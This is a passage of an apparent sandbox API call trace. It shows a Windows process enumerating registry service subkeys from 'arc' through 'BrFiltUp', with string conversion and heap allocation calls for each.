Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.994] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.994] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.994] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.994] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0253.994] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.994] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1e38, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0253.995] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.995] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.995] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.995] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.995] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0253.995] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.995] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0253.995] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.995] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.995] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.995] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.995] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0253.995] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.995] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0253.995] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.995] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.995] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.995] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.995] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0253.995] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0253.996] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1cd0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0253.996] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.996] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.996] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.996] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.996] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0253.996] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0253.996] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1e38, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0253.996] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.996] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.996] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.996] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.996] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0253.996] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.996] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0253.996] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.996] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.996] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.996] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.996] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0253.996] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.997] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1e38, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0253.997] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.997] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.997] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.997] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.997] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0253.997] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0253.997] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1cd0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0253.997] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.997] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.997] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.997] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.997] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0253.997] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.997] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0253.997] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.997] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.997] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.997] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.997] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0253.997] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.997] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0253.997] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.997] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.997] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.998] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.998] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0253.998] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.998] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0253.998] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.998] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.998] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.998] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.998] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0253.998] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.998] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0253.998] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.998] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.998] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.998] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.998] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0253.998] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.998] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1e38, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0253.998] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.998] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.998] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.998] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.998] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0253.998] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.998] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0253.999] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.999] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.999] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.999] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.999] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0253.999] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.999] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1e38, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0253.999] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.999] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.999] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.999] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.999] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0253.999] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.999] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0253.999] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.999] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.999] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.999] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.999] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0253.999] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.999] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1e38, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0253.999] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.999] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.999] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.999] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.000] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0254.000] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.000] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0254.000] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0254.000] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.000] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0254.000] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.000] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0254.000] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0254.000] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0254.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0254.000] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.000] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0254.000] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.000] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.000] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0254.000] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.000] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0254.000] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0254.000] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.000] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0254.000] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.000] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0254.000] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", 